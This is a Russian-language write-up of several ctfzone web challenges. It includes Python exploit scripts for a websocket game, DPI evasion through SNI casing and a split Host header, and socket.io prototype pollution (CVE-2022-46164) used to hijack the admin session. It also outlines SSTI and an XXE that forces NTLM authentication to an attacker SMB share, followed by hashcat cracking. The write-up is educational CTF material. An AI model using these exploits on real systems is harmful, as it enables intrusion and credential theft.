Неделю назад прошел очередной ctfzone, хочу поделиться центролизованным райтапом на веб, надеюсь для многих будет полезно.
breathtaking-roulette #
Блекбокс таск. Встречает игра - перестрелка на вебсокетах, которая при смерти будет вас унижать.
Если поизучать процесс общения клиента с сервером по вебсокетам, после входа в комнату игрок при нажатии пробела отправляет shot
месседж, на что сервер отвечает
Пробуем добиться success=true
, просто так, на рандоме, но не получается( Также можно случайно получить 404 статус код от сервера и залутать хинт, что стоит больше стрелять. Получается нужно попытаться отправить больше чем один шот за раунд. Сделать это можно несколькими способами, например, пропатчив js в своем браузере, чтобы он при вызове функции shoot
отправлял много эмитов серверу.
Либо можно написать сплойт
import socketio
import requests
sio = socketio.Client()
session = requests.Session()
IP = 'breathtaking-roulette.ctfz.zone'
@sio.on('shot_result')
def on_message(data):
print(f'I received a message!{data}')
def start():
id = session.post(f'http://{IP}/api/start')
return session.cookies.get_dict()['session'],id.json()['room']
def get_messages(chat_uuid: str):
try:
sio.connect(f'http://{IP}', socketio_path='/api/socket.io')
sio.emit('join_game', {'room': chat_uuid})
for i in range(30):
sio.emit('shot')
sio.sleep(10)
except requests.exceptions.JSONDecodeError as e:
print("JSON Decode Error:", e)
except Exception as e:
print("An error occurred:", e)
finally:
sio.disconnect()
cook, chat_id = start()
get_messages(chat_id)
И получить спустя >~10 шотов флаг
Youtube unlock + revenge #
Имеем whitebox deep packet inspection сервис, который проверяет, чтобы пользователи не могли сходить на домен youtube.com и остались без ежедневной 2х часовой порции шортсов :(
По сути DPI сервер принимает на вход наш запрос, смотрит, чтобы в пакетах не было строки youtube
.
buf=sock.recv(BUFFER_SIZE)
print(str(buf))
if b'youtube' in buf:
print('BAN!!!')
continue
Далее пакеты передаются в nginx, который исходя из SNI выполняется редирект на один из вариантов. Нам надо на второй.
upstream backend_default {
server 127.0.0.1:4431;
}
upstream backend {
server 127.0.0.1:4432;
}
Пара слов о Server Name Indication (SNI). Аналогично с заголовком Host
, говорящий хосту, на котором располагается несколько доменов, к какому именно он хочет обратиться, так и с SNI, для установления https соединения, сперва нужно совершить рукопожатие, а хедер host раньше этого самого рукопожатия отправить не получится.
Подробнее про SNI
В общем ситуация - нужно поставить в SNI youtube.com, но dpi не дает этого сделать. Байпасится выставлением в uppercase домена в SNI (потому что домены в интернетах case insensitive)
В результате получается обойти dpi, нас редиректит на ютуб видеоролик, содержащий флаг
Revenge #
Была также выпущена усложненная версия таска, в ней буфер приводится к ловеркейсу и обойти как раньше не получится, однако на деле таск в некотором роде ломался и его можно было решить без написания сплоита, просто переписав SNI. Основная идея усложнения в дроблении пакетов, чтобы строка youtube
разбилась на несколько фрагментов.
К сожалению, так как таск работал не по задумке, держите примерный сплойт.
import socket
import ssl
ciphers = 'ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:RSA-PSK-AES256-GCM-SHA384:DHE-PSK-AES256-GCM-SHA384:RSA-PSK-CHACHA20-POLY1305:DHE-PSK-CHACHA20-POLY1305:ECDHE-PSK-CHACHA20-POLY1305:AES256-GCM-SHA384:PSK-AES256-GCM-SHA384:PSK-CHACHA20-POLY1305:RSA-PSK-AES128-GCM-SHA256:DHE-PSK-AES128-GCM-SHA256:AES128-GCM-SHA256:PSK-AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:ECDHE-PSK-AES256-CBC-SHA384:ECDHE-PSK-AES256-CBC-SHA:SRP-RSA-AES-256-CBC-SHA:SRP-AES-256-CBC-SHA:RSA-PSK-AES256-CBC-SHA384:DHE-PSK-AES256-CBC-SHA384:RSA-PSK-AES256-CBC-SHA:DHE-PSK-AES256-CBC-SHA:AES256-SHA:PSK-AES256-CBC-SHA384:PSK-AES256-CBC-SHA:ECDHE-PSK-AES128-CBC-SHA256:ECDHE-PSK-AES128-CBC-SHA:SRP-RSA-AES-128-CBC-SHA:SRP-AES-128-CBC-SHA:RSA-PSK-AES128-CBC-SHA256:DHE-PSK-AES128-CBC-SHA256:RSA-PSK-AES128-CBC-SHA:DHE-PSK-AES128-CBC-SHA:AES128-SHA:PSK-AES128-CBC-SHA256:PSK-AES128-CBC-SHA'
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_ciphers(ciphers)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('51.250.36.205', 443))
clientSSL1=ctx.wrap_socket(client, server_hostname='youtube.com')
clientSSL1.send("GET / HTTP/1.1\r\n".encode())
clientSSL1.send("Host: ".encode())
clientSSL1.send("you".encode())
clientSSL1.send("tube.com\r\n".encode())
clientSSL1.send("User-Agent: curl\r\n\r\n".encode())
print(clientSSL1.recv(1024).decode())
clientSSL1.close()
0ld_b4t_g0ld #
Blackbox. Достаточно печально работал, но не будем о грустном. Из функционала логинка, создание заметок.
Создавая заметку, приглядимся к ручке, на которую происходит запрос - /api/v2/UserComments
. Что же будет, если поменять версию апи???? А вот, станет доступен ввод параметр username
Проводя обычные операции тестирования параметра доходим до {{7*7}} и получаем 49 - скорее всего перед нами jinja flask ssti, перебираем нагрузы, и теория оказывается верна. Остается катнуть флаг.
Corporate Notes #
Blackbox, но дан apk. Имеем мобилку, функционал создания заметок, логинка с гугл капчей. Через jadx видим, что есть ssl pining, а также раскрываются некоторые эндпоинты апи. Для тестирования апи потребуется запустить приложение либо на эмуляторе, либо на физическом дебильнике, а также обойти пининг через фриду (увы это не статья по мобилкам, поэтому без углубления), но вот гайд
как начать пенкекать мобилки. Также дополню, если эмулятор - то нужны гугло сервисы, иначе не будет работать капча, ну и в целом, капчу пройти без устройства не получится.
Немного пофазив директории апи натыкаемся на свагер по дефолтному роуту /swagger/v1/swagger.yaml
.
Тут замечаем, что на объект при создании записки поддерживается Content-Type xml, что наводит на мысли провести
XXE атаку
Пытаемся прочитать дефолтные линуховые файлы, но ничего нет. А вот еще из тестирования апи можно было добиться специфичных ASPNET’у ошибок. Читаем C:\windows\win.ini
и точно подтверждаем, что это винда. А если это винда, то можно стриггерить тачку пройти ntlm аутентификацию на внешнем сервере, перехватив тем самым NetNTLMv2 хеш. На пикче выше пытаемся прочитать файл с внешней якобы smb файловой шары. Перед этим обязательно поднимаем респондер.
Теперь же, остается лишь сбрутать в хешкате полученный хеш по 5600 моду, используя дефолтный рокъю.
Получаем креды админа, под ними заходим в приложение и ловим долгожданный флаг.
Funny buttons #
Whitebox. Чуток о функционале: кнопки со смешными звуками, у объекта кнопки есть поле funny
, в которых можно положить какую-то информацию. Мы можем достать funny
по-соответствующему uid
сокет сессии, флаг лежит в одной из кнопок сессии админа (uid
=1)
Заглянув в index.js
, видим, что Namespaces объявлен как пустой объект, а он наследует свойства прототипа, что дает возможность загрязнить этот самый прототип через конструктор.
let Namespaces = {};
...
function requireModules() {
var modules = [
'user',
'button',
'room'
];
modules.forEach(function (module) {
Namespaces[module] = require('./' + module);
});
}
Вектор тут таков - вызываем constructor, а у него есть функция
assign, куда мы передадим, какой переменной какое значение хотим задать. Получается засылаем 421["constructor.assign",{"uid":1}]
и перезаписывает uid
своей сессии и далее гетаем все кнопочки.
Таска была основана на (CVE-2022-46164)[https://thegreycorner.com/2023/01/04/CVE-2022-46164-writeup.html], там более подробный разбор уязвимости.
Ну и наконец сплойт
import socketio
import asyncio
import httpx
import random
import string
# BASE_URL = "http://localhost:3000"
BASE_URL = "http://funny-buttons.ctfz.zone"
def button_id():
return random.randint(1, 25)
def random_string(length: int = 32):
return "".join(random.choice(string.ascii_lowercase) for _ in range(length))
async def main():
async with httpx.AsyncClient() as client:
user = random_string(8)
password = random_string(8)
rsp = await client.post(
f"{BASE_URL}/register",
data={"name": user, "password": password},
follow_redirects=True
)
assert rsp.status_code == 200
rsp = await client.post(
f"{BASE_URL}/login",
data={"name": user, "password": password},
)
print(client.cookies)
async with socketio.AsyncSimpleClient() as sio:
await sio.connect(
f'{BASE_URL}',
headers={
"Cookie": f"connect.sid={client.cookies['connect.sid']}",
},
)
async def communicate(msg: str, data, receive_response: bool = True):
print(f'Sending {msg} with {data = }')
await sio.emit(msg, data)
if receive_response:
method, resp = await sio.receive()
print(f'Received response for {method}: {resp}')
return resp
return None
await communicate("constructor.assign", {"uid": 1}, False)
await communicate("user.getInfo", {})
for uid in range(1,25):
resp = {'pressed': False}
while not resp['pressed']:
resp = await communicate("button.press", {"id": uid})
await communicate("button.get", {"id": uid})
if __name__ == '__main__':
asyncio.run(main())
End #
Вот и все, надеюсь все понятно и понравилось. В целом таски хорошие, за исключением нескольких… Всем бобра, ну и обязательно приготовьте свиной творог.